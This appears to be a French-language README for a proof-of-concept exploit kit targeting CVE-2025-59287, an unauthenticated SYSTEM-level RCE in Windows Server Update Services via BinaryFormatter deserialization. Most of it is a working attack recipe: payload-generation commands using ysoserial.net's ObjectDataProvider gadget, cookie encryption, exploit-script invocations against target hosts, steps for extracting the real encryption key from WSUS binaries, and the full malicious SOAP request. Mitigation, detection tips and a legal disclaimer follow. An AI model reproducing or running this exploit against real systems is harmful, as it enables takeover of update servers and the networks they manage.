
Preuve de concept d'exploitation pour CVE-2025-59287, une RCE critique non authentifiée dans WSUS via une désérialisation non sécurisée de BinaryFormatter, permettant d'obtenir les privilèges SYSTEM grâce à des cookies chiffrés spécialement conçus.
CVE-2025-59287 est une vulnérabilité critique d'exécution de code à distance (RCE) dans Microsoft Windows Server Update Services (WSUS). La vulnérabilité est causée par une désérialisation non sécurisée des données AuthorizationCookie via BinaryFormatter dans la méthode EncryptionHelper.DecryptData().
Impact : Des attaquants non authentifiés peuvent parvenir à une exécution de code à distance avec les privilèges SYSTEM en envoyant des cookies chiffrés malveillants au point de terminaison GetCookie().
Score CVSS : Critique (9,8)
BinaryFormatter.Deserialize() appelé sur des entrées non fiables sans validation appropriée┌─────────────────┐
│ Attaquant │
│ │
│ 1. Générer │
│ la charge │
│ BinaryFmt │
│ │
│ 2. Chiffrer │
│ la charge │
│ │
│ 3. Envoyer la │
│ requête │
│ SOAP │
└────────┬────────┘
│
▼
┌─────────────────┐
│ Serveur WSUS │
│ │
│ Point de │
│ terminaison │
│ GetCookie() │
│ │
│ DecryptData() │◄─── Vulnérable
│ │
│ BinaryFormatter│◄─── Désérialisation non sécurisée
│ Deserialize() │
│ │
│ Exécuter la │◄─── RCE en tant que SYSTEM
│ charge utile │
└─────────────────┘
exploit-poc/
├── wsus_exploit.py # Script d'exploitation principal
├── BinaryFormatterPayloadGenerator.cs # Générateur de charge utile .NET (C#)
├── encrypt_payload.py # Assistant de chiffrement WSUS
├── requirements.txt # Dépendances Python
└── README.md # Ce fichier
pip install -r requirements.txt
ysoserial.net comme alternativeOption A : Utilisation du générateur C# fourni
# Compiler le générateur
csc /reference:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\WindowsBase.dll" BinaryFormatterPayloadGenerator.cs
# Générer la charge utile
BinaryFormatterPayloadGenerator.exe calc.exe
# Crée : payload_AAAAMMJJHHMMSS.bin
Option B : Utilisation de ysoserial.net (recommandé)
ysoserial.exe -g ObjectDataProvider -f BinaryFormatter -c "calc.exe" -o raw > payload.bin
python encrypt_payload.py payload.bin -o encrypted_cookie.txt
IMPORTANT : La clé de chiffrement dans encrypt_payload.py est un espace réservé. Pour une exploitation réelle, vous devez :
encrypt_payload.py avec la clé réelle# Utilisation d'un fichier de charge utile (chiffrement à la volée)
python wsus_exploit.py -t 192.168.1.100 -f payload.bin
# Utilisation d'un cookie pré-chiffré
python wsus_exploit.py -t 192.168.1.100 -e "$(cat encrypted_cookie.txt)"
# Avec HTTPS (port 8531)
python wsus_exploit.py -t wsus.example.com -p 8531 -f payload.bin
# Générer, chiffrer et exploiter en une seule fois
BinaryFormatterPayloadGenerator.exe calc.exe
python wsus_exploit.py -t <IP_CIBLE> -f payload_*.bin
La clé de chiffrement doit être extraite des binaires WSUS pour une exploitation réelle.
Localiser les DLL WSUS :
%ProgramFiles%\Update Services\WebServices\bin\
Ou le répertoire web IIS :
%SystemDrive%\inetpub\wwwroot\wsusadmin\
Ouvrir dans dnSpy (décompilateur .NET gratuit) :
Microsoft.UpdateServices.WebServices.dllRechercher EncryptionHelper :
Microsoft.UpdateServices.WebServicesEncryptionHelperDecryptData() et EncryptData()Modèles courants :
Utiliser WinDbg ou x64dbg :
EncryptionHelper.DecryptData()Utiliser Process Monitor :
Utiliser IDA Pro ou Ghidra :
Utiliser l'utilitaire strings :
strings Microsoft.UpdateServices.WebServices.dll | grep -i key
strings Microsoft.UpdateServices.WebServices.dll | grep -i encrypt
Une fois la clé réelle obtenue, mettre à jour encrypt_payload.py :
# Remplacer cette ligne dans encrypt_wsus_cookie() :
key_material = b"WSUS_Cookie_Encryption_Key_v1.0" # ESPACE RÉSERVÉ
# Par la clé réelle :
key_material = b"CLÉ_RÉELLE_PROVENANT_DES_BINAIRES_WSUS"
Ou la transmettre via la ligne de commande :
python encrypt_payload.py payload.bin -k "CLÉ_RÉELLE"
┌─────────────────────────────────────────────────────────────┐
│ 1. Générer la charge utile BinaryFormatter │
│ ObjectDataProvider → Process.Start() → Exécution de │
│ commande │
└───────────────────────┬─────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────┐
│ 2. Chiffrer la charge utile │
│ AES-128-CBC avec la clé de chiffrement WSUS │
│ Encodage Base64 pour la transmission │
└───────────────────────┬─────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────┐
│ 3. Créer la requête SOAP │
│ L'en-tête AuthorizationCookie contient la charge utile │
│ chiffrée │
│ Méthode GetCookie() dans le corps SOAP │
└───────────────────────┬─────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────┐
│ 4. Envoyer au point de terminaison WSUS │
│ POST /ClientWebService/ClientWebService.asmx │
│ Port 8530 (HTTP) ou 8531 (HTTPS) │
└───────────────────────┬─────────────────────────────────────┘
▼
┌─────────────────────────────────────────────────────────────┐
│ 5. Traitement WSUS │
│ DecryptData() déchiffre le cookie │
│ BinaryFormatter.Deserialize() exécute la charge utile │
│ → RCE en tant que SYSTEM │
└─────────────────────────────────────────────────────────────┘
POST /ClientWebService/ClientWebService.asmx HTTP/1.1
Host: <CIBLE>:8530
Content-Type: text/xml; charset=utf-8
SOAPAction: http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie
User-Agent: WSUS Client
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<AuthorizationCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
CHARGE_UTILE_BINARYFORMATTER_CHIFFRÉE_EN_BASE64
</AuthorizationCookie>
</soap:Header>
<soap:Body>
<GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
<cookieType>AuthorizationCookie</cookieType>
</GetCookie>
</soap:Body>
</soap:Envelope>
L'exploit utilise la chaîne de gadgets ObjectDataProvider :
ObjectDataProvider provider = new ObjectDataProvider();
provider.ObjectInstance = new Process();
provider.MethodName = "Start";
provider.MethodParameters = new Collection<object> { processStartInfo };
Lorsque BinaryFormatter.Deserialize() traite cela, il automatiquement :
ObjectDataProviderMethodName (« Start ») sur ObjectInstance (Process)MethodParameters (ProcessStartInfo)Appliquer la mise à jour de sécurité Microsoft : Corriger immédiatement
Solution de contournement temporaire : Bloquer les ports si WSUS n'est pas nécessaire
# Bloquer le trafic entrant sur les ports WSUS
New-NetFirewallRule -DisplayName "Block WSUS" -Direction Inbound -LocalPort 8530,8531 -Protocol TCP -Action Block
Segmentation du réseau : Restreindre l'accès aux points de terminaison WSUS
Remplacer BinaryFormatter : Microsoft devrait le remplacer par une sérialisation sécurisée
System.Text.Json ou System.Xml.Serialization avec validation de typeValidation des entrées : Ajouter une validation complète
Principe du moindre privilège : Exécuter les services WSUS avec des privilèges minimaux
Vérifier les journaux WSUS pour :
%ProgramFiles%\Update Services\LogFiles\
Rechercher :
Surveiller :
/ClientWebService/ClientWebService.asmx⚠️ AVERTISSEMENT : Ce code d'exploit est fourni pour des tests de sécurité autorisés uniquement.
✅ Utilisations légales :
❌ Utilisations illégales :
L'utilisation non autorisée de cet exploit peut entraîner des poursuites pénales. Utilisez de manière responsable et éthique.
Rappel : Testez toujours dans des environnements isolés et contrôlés. N'utilisez jamais contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test.